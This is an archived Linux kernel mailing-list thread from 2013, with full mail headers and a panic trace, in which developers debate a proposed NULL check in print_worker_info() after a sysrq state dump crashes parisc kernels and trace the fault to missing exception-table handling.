 Nacked-by: Tejun Heo <tj@kernel.org>

and *please* don't add any checks like that anywhere else in the
kernel.

Thanks.

-- 
tejun
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tejun Heo <tj@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] [workqueue] check values of pwq and wq in
 print_worker_info() before use
Date: Tue, 1 Oct 2013 17:07:35 -0400
Lines: 27
Approved: news@gmane.org
Message-ID: <20131001210735.GA27867@mtj.dyndns.org>
References: <20131001203520.GA8248@p100.box>
 <20131001204352.GA27149@mtj.dyndns.org>
 <524B364B.3010405@gmx.de>
 <20131001210348.GB27149@mtj.dyndns.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1380661659 7738 80.91.229.3 (1 Oct 2013 21:07:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 1 Oct 2013 21:07:39 +0000 (UTC)
Cc: Libin <huawei.libin@huawei.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 01 23:07:42 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VR7AT-00088Z-6l
	for glpp-linux-parisc@plane.gmane.org; Tue, 01 Oct 2013 23:07:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751239Ab3JAVHk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 1 Oct 2013 17:07:40 -0400
Original-Received: from mail-ye0-f173.google.com ([209.85.213.173]:63337 "EHLO
	mail-ye0-f173.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751230Ab3JAVHk (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 1 Oct 2013 17:07:40 -0400
Original-Received: by mail-ye0-f173.google.com with SMTP id m3so2368582yen.32
        for <multiple recipients>; Tue, 01 Oct 2013 14:07:39 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=sender:date:from:to:cc:subject:message-id:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent;
        bh=YNgvkAldjvaTdYB1uVbBhNAGPzdEzCuULCj7bXoDLvE=;
        b=oKXshhkIcwDUFTUG/Jca8rc5991HHj0DnCysM302cJcYpqr1U7vHMDaq3BthNIJrEE
         l3S8mq+JenoQG+5JldNSVIyfqjFKeBnfHbFYWtLCcdtx/m6h4QpZnMnDvwi9QBsk5KGF
         PszRwknKttXxtsqHyvHEt7jQAt8j6YIRosM1VD3klmdAJQnX4B/MV8S8Va3aUkrHBUya
         W08o01EaWWRAxez9gro9UDl1BpS2ddw/EHAIj6Ay+KbvJwb8OpDH5XjXbRWYdA+aF2EF
         rNrpYMcf68en0/+tYkpOITzwAWETN3/IJqovUEJ0Yguj7cywhO5Ad1G/h6DpQv+Rjs2Q
         lQjw==
X-Received: by 10.236.147.210 with SMTP id t58mr30945666yhj.1.1380661659292;
        Tue, 01 Oct 2013 14:07:39 -0700 (PDT)
Original-Received: from mtj.dyndns.org (nat-pool-rdu-u.redhat.com. [66.187.233.203])
        by mx.google.com with ESMTPSA id v45sm12579007yha.2.1969.12.31.16.00.00
        (version=TLSv1 cipher=RC4-SHA bits=128/128);
        Tue, 01 Oct 2013 14:07:38 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20131001210348.GB27149@mtj.dyndns.org>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5346 gmane.linux.kernel:1571041
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5346>

On Tue, Oct 01, 2013 at 05:03:48PM -0400, Tejun Heo wrote:
> On Tue, Oct 01, 2013 at 10:53:31PM +0200, Helge Deller wrote:
> > So, in summary my patch here is not really necessary, but for the sake of
> > clean code I think it doesn't hurt either and as such it would be nice if
> > you could apply it.
> 
> What? function *must* take any value and try to access it and not
> cause failure.  That's the *whole* purpose of that interface.  How is
> having incomplete spurious checks around it "clean code" in any sense
> of the word?  That doesn't make any sense.

Just in case you didn't know already.  probe_kernel_read()'s role is
to take any ulong value and dereference it if it can.  If not, it can
return any value, but it shouldn't crash in any case.  If you're just
adding NULL test in probe_kernel_read(), you're just masking a common
failure pattern and the kernel still *will* panic while dumping the
states.  If a specific arch doesn't have proper probe_kernel_read()
implementation, adding if (!NULL) test there could be a temporary
workaround, but it should be clearly marked as such.

-- 
tejun
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] [workqueue] check values of pwq and wq in
 print_worker_info() before use
Date: Tue, 01 Oct 2013 14:40:45 -0700
Lines: 35
Approved: news@gmane.org
Message-ID: <1380663645.2081.29.camel@dabdike>
References: <20131001203520.GA8248@p100.box>
	 <20131001204352.GA27149@mtj.dyndns.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1380663676 30693 80.91.229.3 (1 Oct 2013 21:41:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 1 Oct 2013 21:41:16 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, Libin <huawei.libin@huawei.com>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: Tejun Heo <tj@kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Oct 01 23:41:18 2013
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1VR7h0-0002c6-0l
	for glk-linux-kernel-3@plane.gmane.org; Tue, 01 Oct 2013 23:41:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752017Ab3JAVky (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 1 Oct 2013 17:40:54 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:32908 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751253Ab3JAVkv (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 1 Oct 2013 17:40:51 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id E9F218EE0EF;
	Tue,  1 Oct 2013 14:40:50 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id MKg7I4DZi38n; Tue,  1 Oct 2013 14:40:50 -0700 (PDT)
Original-Received: from [10.0.18.182] (unknown [70.102.97.201])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 3F6718EE07F;
	Tue,  1 Oct 2013 14:40:49 -0700 (PDT)
In-Reply-To: <20131001204352.GA27149@mtj.dyndns.org>
X-Mailer: Evolution 3.8.5 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1571056 gmane.linux.ports.parisc:5347
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1571056>

On Tue, 2013-10-01 at 16:43 -0400, Tejun Heo wrote:
> Hello,
> 
> On Tue, Oct 01, 2013 at 10:35:20PM +0200, Helge Deller wrote:
> > print_worker_info() includes no validity check on the pwq and wq
> > pointers before handing them over to the probe_kernel_read() functions.
> > 
> > It seems that most architectures don't care about that, but at least on
> > the parisc architecture this leads to a kernel crash since accesses to
> > page zero are protected by the kernel for security reasons.
> > 
> > Fix this problem by verifying the contents of pwq and wq before usage.
> > Even if probe_kernel_read() usually prevents such crashes by disabling
> > page faults, clean code should always include such checks. 
> > 
> > Without this fix issuing "echo t > /proc/sysrq-trigger" will immediately
> > crash the Linux kernel on the parisc architecture.
> 
> Hmm... um had similar problem but the root cause here is that the arch
> isn't implementing probe_kernel_read() properly.  We really have no
> idea what the pointer value may be at the dump point and that's why we
> use probe_kernel_read().  If something like the above is necessary for
> the time being, the correct place would be the arch
> probe_kernel_read() implementation.  James, would it be difficult
> implement proper probe_kernel_read() on parisc?

The problem seems to be that some traps bypass our exception table
handling.  Helge, do you have the actual stack trace for this?  That
should show where the exception handling is missing.

Thanks,

James



From - Thu Nov 08 21:09:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] [workqueue] check values of pwq and wq in print_worker_info()
 before use
Date: Wed, 02 Oct 2013 00:07:36 +0200
Lines: 107
Approved: news@gmane.org
Message-ID: <524B47A8.1010701@gmx.de>
References: <20131001203520.GA8248@p100.box>  <20131001204352.GA27149@mtj.dyndns.org> <1380663645.2081.29.camel@dabdike>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1380665259 15231 80.91.229.3 (1 Oct 2013 22:07:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 1 Oct 2013 22:07:39 +0000 (UTC)
Cc: Tejun Heo <tj@kernel.org>, Libin <huawei.libin@huawei.com>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 02 00:07:42 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VR86X-000629-3h
	for glpp-linux-parisc@plane.gmane.org; Wed, 02 Oct 2013 00:07:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751856Ab3JAWHk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 1 Oct 2013 18:07:40 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:62014 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751816Ab3JAWHj (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 1 Oct 2013 18:07:39 -0400
Original-Received: from [192.168.178.60] ([84.173.31.92]) by mail.gmx.com (mrgmx001)
 with ESMTPSA (Nemesis) id 0LqQnR-1W4bai2JxB-00e57x for
 <linux-parisc@vger.kernel.org>; Wed, 02 Oct 2013 00:07:37 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130923 Thunderbird/17.0.9
In-Reply-To: <1380663645.2081.29.camel@dabdike>
X-Enigmail-Version: 1.5.2
X-Provags-ID: V03:K0:ZxHBiJWfYZ7R7OjuLwp64TnUEwjhja3NBU2EClwHFnqvdnm4NsO
 jNWk0GTPtu/AJIi7QCpgOhjznr+rVQsREDMKH08l8ADZSqaXWawQT8U1mbp31M7vhCiSacP
 W7Ztk9nz+/PftSPeTM567yfjGrUZN2JOXRyqdaKmYJFKWSx9N4EWRZ6C36xACV7JCu/yxkd
 Kxop9a6FrwJTbuySCLqjA==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5348 gmane.linux.kernel:1571083
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5348>

On 10/01/2013 11:40 PM, James Bottomley wrote:
> On Tue, 2013-10-01 at 16:43 -0400, Tejun Heo wrote:
>> Hello,
>>
>> On Tue, Oct 01, 2013 at 10:35:20PM +0200, Helge Deller wrote:
>>> print_worker_info() includes no validity check on the pwq and wq
>>> pointers before handing them over to the probe_kernel_read() functions.
>>>
>>> It seems that most architectures don't care about that, but at least on
>>> the parisc architecture this leads to a kernel crash since accesses to
>>> page zero are protected by the kernel for security reasons.
>>>
>>> Fix this problem by verifying the contents of pwq and wq before usage.
>>> Even if probe_kernel_read() usually prevents such crashes by disabling
>>> page faults, clean code should always include such checks. 
>>>
>>> Without this fix issuing "echo t > /proc/sysrq-trigger" will immediately
>>> crash the Linux kernel on the parisc architecture.
>>
>> Hmm... um had similar problem but the root cause here is that the arch
>> isn't implementing probe_kernel_read() properly.  We really have no
>> idea what the pointer value may be at the dump point and that's why we
>> use probe_kernel_read().  If something like the above is necessary for
>> the time being, the correct place would be the arch
>> probe_kernel_read() implementation.  James, would it be difficult
>> implement proper probe_kernel_read() on parisc?
> 
> The problem seems to be that some traps bypass our exception table
> handling.  

Yes, that's correct.
It's trap #26 and we directly call parisc_terminate() for fault_space==0
without checking the exception table.
See my patch I posted a few hours ago which fixes this:
https://patchwork.kernel.org/patch/2971701/

> Helge, do you have the actual stack trace for this?  That
> should show where the exception handling is missing.

Here it is:
[47072.976000] ksoftirqd/0     R  running task        0     3      2 0x00000000
[47072.976000] Backtrace:
[47072.976000]  [<0000000040113a54>] __schedule+0x62c/0x808
[47072.976000]
[47072.976000] kworker/0:0H    S 00000000401040c0     0     5      2 0x00000000
[47073.468000] Backtrace:
[47073.468000]  [<0000000040464264>] pa_memcpy+0x44/0xb0
[47073.468000]  [<00000000404643e0>] __copy_from_user+0x60/0x90
[47073.468000]  [<00000000401d99bc>] __probe_kernel_read+0x54/0x90
[47073.468000]  [<000000004016cc70>] print_worker_info+0x158/0x2c0
[47073.468000]  [<0000000040185a60>] sched_show_task+0x1c8/0x210
[47073.468000]  [<0000000040185b64>] show_state_filter+0xbc/0x138
[47073.468000]  [<00000000404e85c4>] sysrq_handle_showstate+0x34/0x48
[47073.468000]  [<00000000404e9154>] __handle_sysrq+0x174/0x2f0
[47073.468000]  [<00000000404e933c>] write_sysrq_trigger+0x6c/0x90
[47073.468000]  [<00000000402ca2fc>] proc_reg_write+0xbc/0x130
[47073.468000]  [<0000000040236d44>] vfs_write+0x114/0x268
[47073.468000]  [<00000000402373a4>] SyS_write+0x94/0xf8
[47073.468000]  [<0000000040105fc0>] syscall_exit+0x0/0x14
[47073.468000]
[47073.468000]
[47073.468000] Kernel Fault: Code=26 regs=00000000958a09b0 (Addr=0000000000000008)
[47073.468000] CPU: 0 PID: 30189 Comm: bash Not tainted 3.12.0-rc3-64bit+ #1
[47073.468000] task: 000000007ba64100 ti: 00000000958a0000 task.ti: 00000000958a0000
[47073.468000]
[47073.468000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
[47073.468000] PSW: 00001000000001001111111100001110 Not tainted
[47073.468000] r00-03  000000ff0804ff0e 00000000958a08c0 0000000040464264 00000000958a0960
[47073.468000] r04-07  0000000040d73db0 0000000000000008 0000000000000008 00000000958a06f8
[47073.468000] r08-11  00000000958a0600 0000000040c49d18 00000000af535494 00000000958a0370
[47073.468000] r12-15  0000000000000000 0000000000000000 000000000010e7e8 00000000000fde28
[47073.468000] r16-19  0000000000000000 00000000000c7800 0000000000000000 0000000000000000
[47073.468000] r20-23  00000000958a06e0 0000000000000018 0000000000000018 0000000000000003
[47073.468000] r24-27  0000000000000008 0000000000000008 00000000958a06f8 0000000040d73db0
[47073.468000] r28-31  00000000958a06f8 00000000958a0930 00000000958a09b0 0000000000000008
[47073.468000] sr00-03  0000000005dc5000 0000000000000000 0000000000000000 0000000005dc5000
[47073.468000] sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
[47073.468000]
[47073.468000] IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040463fdc 0000000040463fe0
[47073.468000]  IIR: 0fe25033    ISR: 0000000000000000  IOR: 0000000000000008
[47073.468000]  CPU:        0   CR30: 00000000958a0000 CR31: 0000000011111111
[47073.468000]  ORIG_R28: 00000000958a0b40
[47073.468000]  IAOQ[0]: pa_memcpy_internal+0xec/0x2b4
[47073.468000]  IAOQ[1]: pa_memcpy_internal+0xf0/0x2b4
[47073.468000]  RP(r2): pa_memcpy+0x44/0xb0
[47073.468000] Backtrace:
[47073.468000]  [<0000000040464264>] pa_memcpy+0x44/0xb0
[47073.468000]  [<00000000404643e0>] __copy_from_user+0x60/0x90
[47073.468000]  [<00000000401d99bc>] __probe_kernel_read+0x54/0x90
[47073.468000]  [<000000004016cc70>] print_worker_info+0x158/0x2c0
[47073.468000]  [<0000000040185a60>] sched_show_task+0x1c8/0x210
[47073.468000]  [<0000000040185b64>] show_state_filter+0xbc/0x138
[47073.468000]  [<00000000404e85c4>] sysrq_handle_showstate+0x34/0x48
[47073.468000]  [<00000000404e9154>] __handle_sysrq+0x174/0x2f0
[47073.468000]  [<00000000404e933c>] write_sysrq_trigger+0x6c/0x90
[47073.468000]  [<00000000402ca2fc>] proc_reg_write+0xbc/0x130
[47073.468000]  [<0000000040236d44>] vfs_write+0x114/0x268
[47073.468000]  [<00000000402373a4>] SyS_write+0x94/0xf8
[47073.468000]  [<0000000040105fc0>] syscall_exit+0x0/0x14
[47073.468000]
[47073.468000] Kernel panic - not syncing: Kernel Fault

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] [workqueue] check values of pwq and wq in print_worker_info()
 before use
Date: Wed, 02 Oct 2013 00:34:53 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <524B4E0D.9050107@gmx.de>
References: <20131001203520.GA8248@p100.box> <20131001204352.GA27149@mtj.dyndns.org> <524B364B.3010405@gmx.de> <20131001210348.GB27149@mtj.dyndns.org> <20131001210735.GA27867@mtj.dyndns.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1380666899 32632 80.91.229.3 (1 Oct 2013 22:34:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 1 Oct 2013 22:34:59 +0000 (UTC)
Cc: Libin <huawei.libin@huawei.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: Tejun Heo <tj@kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 02 00:35:00 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VR8Ww-0001bY-9p
	for glpp-linux-parisc@plane.gmane.org; Wed, 02 Oct 2013 00:34:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753051Ab3JAWe5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 1 Oct 2013 18:34:57 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:60420 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752092Ab3JAWe4 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 1 Oct 2013 18:34:56 -0400
Original-Received: from [192.168.178.60] ([84.173.31.92]) by mail.gmx.com (mrgmx002)
 with ESMTPSA (Nemesis) id 0Leux5-1WBmgy0Wwp-00qhQ1 for
 <linux-parisc@vger.kernel.org>; Wed, 02 Oct 2013 00:34:55 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130923 Thunderbird/17.0.9
In-Reply-To: <20131001210735.GA27867@mtj.dyndns.org>
X-Enigmail-Version: 1.5.2
X-Provags-ID: V03:K0:dQBy7vQdB8uBftNvzon9s/F1Ap4BWvMCw8zEiFVAatsfrfwP0Y/
 0DZik7zgOhjNYFIJuusX6GUlVtrF1SJ24tU+ACDg2rYykH7zgnz5xHbU21r5X1JHoNx6y6X
 y+Buj1j6QFUXAm4sg0ee/nVUq+qZLfnmMMYJc3LLiCpsKx2UHBW6uIerpMZGQud2nLYHAQD
 Kq9kwSCBpTLaQCkrvTEfA==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5349 gmane.linux.kernel:1571087
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5349>

On 10/01/2013 11:07 PM, Tejun Heo wrote:
> On Tue, Oct 01, 2013 at 05:03:48PM -0400, Tejun Heo wrote:
>> On Tue, Oct 01, 2013 at 10:53:31PM +0200, Helge Deller wrote:
>>> So, in summary my patch here is not really necessary, but for the sake of
>>> clean code I think it doesn't hurt either and as such it would be nice if
>>> you could apply it.
>>
>> What? function *must* take any value and try to access it and not
>> cause failure.  That's the *whole* purpose of that interface.  How is
>> having incomplete spurious checks around it "clean code" in any sense
>> of the word?  That doesn't make any sense.
> 
> Just in case you didn't know already.  probe_kernel_read()'s role is
> to take any ulong value and dereference it if it can.  If not, it can
> return any value, but it shouldn't crash in any case.  If you're just
> adding NULL test in probe_kernel_read(), you're just masking a common
> failure pattern and the kernel still *will* panic while dumping the
> states.  If a specific arch doesn't have proper probe_kernel_read()
> implementation, adding if (!NULL) test there could be a temporary
> workaround, but it should be clearly marked as such.

Sure, probe_kernel_read() takes care that no segfaults will happen.
Nevertheless, if we know that "pwq" might become NULL, why access pwq->wq at all?
  struct pool_workqueue *pwq = NULL;
  probe_kernel_read(&wq, &pwq>wq, sizeof(wq));

If you wouldn't have used probe_kernel_read() you would never code it 
like that. That's what I meant when I wrote "clean coding" (aka "similar
to what you would have done without probe_kernel_read()").

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tejun Heo <tj@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] [workqueue] check values of pwq and wq in
 print_worker_info() before use
Date: Tue, 1 Oct 2013 18:40:23 -0400
Lines: 28
Approved: news@gmane.org
Message-ID: <20131001224023.GA28618@mtj.dyndns.org>
References: <20131001203520.GA8248@p100.box>
 <20131001204352.GA27149@mtj.dyndns.org>
 <524B364B.3010405@gmx.de>
 <20131001210348.GB27149@mtj.dyndns.org>
 <20131001210735.GA27867@mtj.dyndns.org>
 <524B4E0D.9050107@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1380667229 3806 80.91.229.3 (1 Oct 2013 22:40:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 1 Oct 2013 22:40:29 +0000 (UTC)
Cc: Libin <huawei.libin@huawei.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 02 00:40:30 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VR8cH-0004Dv-QY
	for glpp-linux-parisc@plane.gmane.org; Wed, 02 Oct 2013 00:40:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752738Ab3JAWk3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 1 Oct 2013 18:40:29 -0400
Original-Received: from mail-qa0-f49.google.com ([209.85.216.49]:40280 "EHLO
	mail-qa0-f49.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752568Ab3JAWk2 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 1 Oct 2013 18:40:28 -0400
Original-Received: by mail-qa0-f49.google.com with SMTP id k15so109271qaq.8
        for <multiple recipients>; Tue, 01 Oct 2013 15:40:27 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=sender:date:from:to:cc:subject:message-id:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent;
        bh=G42d+trJhuCT4SkBqhEguOoa++3CWeyW6jVhhDzJEaM=;
        b=ba6zmye8UenWgpwKVsGEldgJPODGx31hEEfoXQgjj/EELnkflCB82AGPhssXJZB0hd
         stjkJ+dgsB5DMgq/Qbgw9kg70V/j2P5jISAermy2hRpzA4YXwjQkX4P+E1nLMmix707B
         Hc8a7TCwWn4vEEY454Q5FQ3b10xSPEQVwfeF5eUbo+zdr76bBoRscGqYCH04O8QuVkAn
         lKpcNjp2MM6yyIjPLHT6R8Y2CXzWXJ/p3KkrMWicnczmjnUKiIZ82zLR30wLPT/ioN1T
         P2300EdyolO+hu7JmBvY3hArtazuaFwUIL8XSwuy2QHRpF9P0vkuRfAgDLu1FnN5xln7
         bp1w==
X-Received: by 10.49.47.50 with SMTP id a18mr39211905qen.61.1380667227802;
        Tue, 01 Oct 2013 15:40:27 -0700 (PDT)
Original-Received: from mtj.dyndns.org (nat-pool-rdu-u.redhat.com. [66.187.233.203])
        by mx.google.com with ESMTPSA id e7sm18580178qag.7.1969.12.31.16.00.00
        (version=TLSv1 cipher=RC4-SHA bits=128/128);
        Tue, 01 Oct 2013 15:40:27 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <524B4E0D.9050107@gmx.de>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5350 gmane.linux.kernel:1571090
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5350>

Hello,

On Wed, Oct 02, 2013 at 12:34:53AM +0200, Helge Deller wrote:
> Sure, probe_kernel_read() takes care that no segfaults will happen.
> Nevertheless, if we know that "pwq" might become NULL, why access pwq->wq at all?
>   struct pool_workqueue *pwq = NULL;
>   probe_kernel_read(&wq, &pwq>wq, sizeof(wq));
> 
> If you wouldn't have used probe_kernel_read() you would never code it 
> like that. That's what I meant when I wrote "clean coding" (aka "similar
> to what you would have done without probe_kernel_read()").

Because it is using probe_kernel_read() and such test wouldn't mean
anything?  It may be NULL, it may be 1 or full Fs.  NULL is just one
of many illegal pointers which may happen.  Why add code which doesn't
achieve anything when you're explicitly trying to access pointers
which you know could be invalid?  Why is that "clean"?  Is "if (p)
kfree(p)" cleaner than "kfree(p)"?

Thanks.

-- 
tejun
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tejun Heo <tj@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] [workqueue] check values of pwq and wq in
 print_worker_info() before use
Date: Tue, 1 Oct 2013 18:47:02 -0400
Lines: 32
Approved: news@gmane.org
